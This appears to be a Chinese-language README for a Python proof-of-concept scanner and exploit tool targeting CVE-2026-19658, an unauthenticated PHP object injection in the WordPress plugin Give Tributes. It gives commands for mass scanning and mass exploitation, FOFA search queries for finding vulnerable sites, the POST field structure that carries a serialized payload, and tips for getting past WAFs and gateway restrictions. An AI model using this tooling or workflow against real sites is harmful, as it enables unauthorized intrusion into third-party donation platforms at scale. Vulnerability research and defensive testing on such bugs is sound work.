CVE-2026-19658 — Give Tributes 未认证 PHP 对象注入

针对 WordPress 插件 Give - Tributes（Liquid Web / GiveWP）中 CVE-2026-19658 的 Python 3 概念验证 扫描器与捐赠链利用辅助工具。

概述

当 eCard 启用 Allow Multiple Recipients 且 eCard custom message 被 禁用（默认）时，存在漏洞的版本会将 原始 $_POST eCard 收件人数据存储到捐赠元数据中。GiveWP 字段验证使用 $_POST 的 give_clean() 副本（序列化字符串在此处被清空），但 insert_tribute_data() 读取的是 未清理 的 $_POST，因此第二个收件人的 first_name / last_name 可以包含 PHP 序列化对象。

影响： 仅 Give Tributes 本身没有已知的 POP 链。元数据在读取时被反序列化（例如管理员 eCard 预览/重发）。RCE 或破坏性影响 需要来自 另一个 已安装插件或主题的 gadget 链。

服务端前提条件

1. Give Tributes ≤ 2.3.1
2. 启用 Allow Multiple Recipients（全局或按表单）
3. eCard Custom Message 已禁用（默认）
4. 公开的 旧版 Give 表单（[give_form] / v2），而非仅 v3 的 Visual Form Builder
5. 一个能在你的测试中完成捐赠的支付网关（在开发/预发布环境中通常是 manual）

要求

• Python 3.8+
• pip install -r requirements.txt

快速开始

pip install -r requirements.txt

# Single target — check (terminal flow on by default for --list)
python poc.py -u https://target.example --mode check

# Mass check
python poc.py --list targets.example.txt --mode check --threads 20 --flow

# Single target — exploit (authorized targets only)
python poc.py -u https://target.example --mode exploit \
  --form-url /donate/ --form-id 123 --gateway manual \
  --payload 'O:8:"stdClass":0:{}'

# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 8 --flow \
  --vuln-list exploited.txt

FOFA → 目标列表

示例：

body="/wp-content/plugins/give-tributes/"
body="give-tributes" && body="givewp"

主机列表（每行一个域名）：

python poc.py --list my_hosts.txt --mode check --threads 20 --flow

FOFA CSV 导出：

python fofa_to_list.py -i fofa_export.csv
python poc.py --list list.txt --mode check --threads 20

CLI 选项

在利用运行时使用 --vuln-list exploited.txt，以免 hits.txt 中的检查命中被覆盖。

输出文件

检查 status 值

远程扫描 无法 可靠地看到 “Allow Multiple Recipients”；候选目标在利用时仍可能失败。

利用说明

• PoC 发送 两个 eCard 收件人；payload 是 第二个 first_name 字段。
• manual 网关 在生产环境中通常被禁用——尝试表单上可见的网关（stripe、paypal、test 等）。
• 成功需要 Give 收据标记（而非包含 “thank you” 的通用页面副本）。表单仍然存在的同一 URL 不 计为成功。
• give validation rejected donation：tribute/notify 选项、金额或网关不匹配。
• HTTP 403：WAF（Sucuri、MalCare 等）阻止 POST。
• 仅 v3 表单：使用旧版表单 URL 或跳过（处理器在旧版端点上拒绝 v3 ID）。

POST 结构（旧版表单）

give_tributes_show_dedication=yes
give_tributes_would_to=send_eCard
give_tributes_ecard_notify[recipient][first_name][]=Valid
give_tributes_ecard_notify[recipient][first_name][]=<serialized payload>
give_tributes_ecard_notify[recipient][email][]=<donor email>
give_tributes_ecard_notify[recipient][email][][email protected]
…

仓库结构

.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

本地扫描列表和运行产物（list.txt、fofa*.csv、*.jsonl、hits.txt 等）位于 .gitignore 中，不应提交。

参考资料

• NVD — CVE-2026-19658
• Give Tributes readme（修复说明 2.3.1.1）
• GiveWP 插件

法律

仅用于 授权的安全测试和教育。您有责任遵守适用的法律和项目规则。